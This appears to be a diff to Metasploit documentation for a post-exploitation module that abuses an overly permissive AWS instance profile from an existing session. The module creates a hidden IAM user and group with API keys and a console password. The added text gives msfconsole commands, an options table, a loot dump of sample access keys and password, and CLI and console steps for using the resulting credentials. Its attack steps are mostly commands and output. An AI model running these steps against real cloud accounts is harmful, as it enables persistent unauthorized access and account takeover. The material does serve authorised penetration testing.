@@ -113,6 +113,11 @@ Active sessions
113
113
114
114
## Options
115
115
116
+ By default the module will:
117
+
118
+ * create a randomly named IAM user and group
119
+ * generate API Keys and User password for after
120
+
116
121
In the event that the session'd AWS instance does not have an IAM role assigned
117
122
to it with sufficient privileges, the following options can be used to provide
118
123
specific authentication material:
@@ -127,6 +132,25 @@ The following options control the account that is being created:
127
132
* ` CREATE_API ` : when true, creates API keys for this user
128
133
* ` CREATE_CONSOLE ` : when true, creates a password for this user so that they can access the AWS console
129
134
135
+ ```
136
+ msf exploit(sshexec) > use post/multi/escalate/aws_create_iam_user
137
+ msf post(aws_create_iam_user) > show options
138
+
139
+ Module options (post/multi/escalate/aws_create_iam_user):
140
+
141
+ Name Current Setting Required Description
142
+ ---- --------------- -------- -----------
143
+ AccessKeyId no AWS access key
144
+ CREATE_API true yes Add access key ID and secret access key to account (API, CLI, and SDK access)
145
+ CREATE_CONSOLE true yes Create an account with a password for accessing the AWS management console
146
+ IAM_GROUPNAME no Name of the group to be created (leave empty or unset to use a random name)
147
+ IAM_USERNAME no Name of the user to be created (leave empty or unset to use a random name)
148
+ Proxies no A proxy chain of format type:host:port[,type:host:port][...]
149
+ SESSION 1 yes The session to run this module on.
150
+ SecretAccessKey no AWS secret key
151
+ Token no AWS session token
152
+
153
+ ```
130
154
131
155
## Abusing an Overly Permissive Instance Profile
132
156
@@ -136,7 +160,6 @@ overly permissive access. Once a session is established, we can load
136
160
e.g., ` SESSION 1 ` and run the exploit.
137
161
138
162
```
139
- msf exploit(sshexec) > use auxiliary/admin/aws/aws_create_iam_user
140
163
msf post(aws_create_iam_user) > set SESSION 1
141
164
SESSION => 1
142
165
msf post(aws_create_iam_user) > exploit
@@ -221,12 +244,39 @@ bZWsmzyupDWxe8CT bZWsmzyupDWxe8CT 74FXOTagsYCzxz0pjPOmnsASewj4Dq/JzH3Q24qj AK
221
244
Information necessary to use the created account is printed to the screen and stored in loot:
222
245
223
246
```
247
+ $ cat ~/.msf4/loot/20161121175902_default_52.1.2.3_AKIA_881948.txt
224
248
{
225
249
"UserName": "As56ekIV59OgoFOj",
226
250
"GroupName": "As56ekIV59OgoFOj",
227
251
"SecretAccessKey": "/DcYUf9veCFQF3Qcoi1eyVzptMkVTeBm5scQ9bdD",
228
252
"AccessKeyId": "AKIAIVNMYXYBXYE7VCHQ",
229
253
"Password": "As56ekIV59OgoFOj",
230
254
"AccountId": "xxx"
255
+ ```
256
+
257
+ These creds can be used to call the AWS API directly or you can login using the console.
258
+
259
+ Configuring the CLI:
260
+
261
+ ```
262
+ $ aws configure --profile test
263
+ AWS Access Key ID [None]: AKIA...
264
+ AWS Secret Access Key [None]: THE SECRET ACCESS KEY...
265
+ Default region name [None]: us-west-2
266
+ Default output format [None]: json
267
+ ```
268
+
269
+ Call the API, e.g., get the Account ID:
270
+
271
+ ```
272
+ $ aws iam --profile test list-account-aliases
273
+ {
274
+ "AccountAliases": [
275
+ "Account_ID"
276
+ ]
231
277
}
232
278
```
279
+
280
+ Login via the console using the username and password:
281
+
282
+ Go to the AWS Console at https://Account_ID.signin.aws.amazon.com/console/ and login.
0 commit comments